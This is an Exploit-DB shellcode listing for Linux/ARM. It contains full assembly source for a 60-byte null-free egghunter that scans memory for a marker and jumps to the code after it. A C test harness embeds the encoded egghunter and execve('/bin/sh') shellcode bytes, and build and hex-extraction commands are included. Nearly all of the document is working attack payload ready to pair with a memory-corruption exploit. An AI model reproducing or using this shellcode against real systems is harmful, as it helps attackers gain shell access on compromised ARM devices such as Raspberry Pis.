Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (60 bytes)

EDB-ID: 44856
Author: rtmcx
Published: 2018-06-08
CVE: N/A
Type: Shellcode
Platform: ARM
Shellcode: Download Shellcode Code Download / View Raw
Shellcode Size: 60 bytes

 * Title:  Linux/ARM - Memsafe egghunter (0x50905090) + execve("/bin/sh").  Null free shellcode (60 bytes) 
* Date: 2018-06-06
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description: The shellcode will search the memory for the "EGG" and, when found, redirect execution to the location just after the EGG.
*/

.text

.global _start

_start:
.ARM

/* Enter Thumb mode for shorter shellcode */
add r5, pc, #1
bx r5
.THUMB

page_align:
/* Enter ARM mode (to easier calculate and set pagesize) */
mov r5, pc
bx r5
.ARM

/* Memory page alignment. */
mvn r1, r1, lsr #0x0c
mvn r1, r1, lsl #0x0c

/* Enter Thumb mode again */
add r5, pc, #1
bx r5
.THUMB

hunting:
add r1, r1, #1 // Go to next address

ldr r3, egg // set r3 to eggs value

// Setup syscall "sigaction"
mov r7, #0x43 // sigaction (syscall number 67, 0x43)
svc 1 // Execute syscall (result is stored in r0)


/* Compare the result */
sub r7, #0x51 // Calculate r7 to become 0xF2 (0x43 - 0x51)
cmp r0, r7 // Did we get EFAULT? (value 0xF2)
beq page_align // Yes, invalid adddress, next page

/* We have access to the page and can start to search for the egg.. */
ldr r2, [r1] // Place the byte at address in r2
cmp r2, r3 // Compare the egg with address bytes
bne hunting // Not the same, go to next byte


/* Here we have either found the EGG or searched the entire memory.
If the EGG was not found, this will probably cause a SEGFAULT,
since the instruction that is executed next might be an invalid one. */

/* Enter ARM mode */
/* Since we dont know which type of shellcode that will be executed (it is up to the shellcode to set correct mode) */

mov r5, pc
bx r5

.ARM
/* Set PC to execute code at address*/
mov pc, r1 // Jump to shellcode (byte after egg)

egg:
.ascii "\x50\x90\x50\x90"

/*
Compile and link with:
# as -o egghunter.o egghunter.s
# ld -N egghunter.o -o egghunter
Extract egghunter shellcode:
# objcopy -O binary egghunter egghunter.bin
# hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin

*/

//
// ------ egghunter-tester.c ------------------------
/*
#include <stdio.h>
#include <string.h>

//Compile with (on Raspberry Pi v3):
//gcc -N -static-libgcc egghunter-tester.c -o egghunter-tester


#define EGG "\x90\x50\x90\x50"
unsigned char egg[] = EGG;
unsigned char *egghunter = "\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x7d\x46\x28\x47\x21\x16\xe0\xe1\x01\x16\xe0\xe1\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x01\x31\x06\x4b\x43\x27\x01\xdf\x51\x3f\xb8\x42\xee\xd0\x0a\x68\x9a\x42\xf5\xd1\x7d\x46\x28\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

// The shellcode to search for (in this case "execve('/bin/sh')")
unsigned char *shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x49\x40\x52\x40\x01\xa0"
"\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41";

void main()
{
char buffer[200];

strcpy(buffer, egg);
strcpy(buffer+4, shellcode);

printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Shellcode Length (inc egg): %d\n", strlen(buffer));
printf("Stack location: %p\n", buffer);

int (*ret)() = (int(*)())egghunter;

ret();
}
*/

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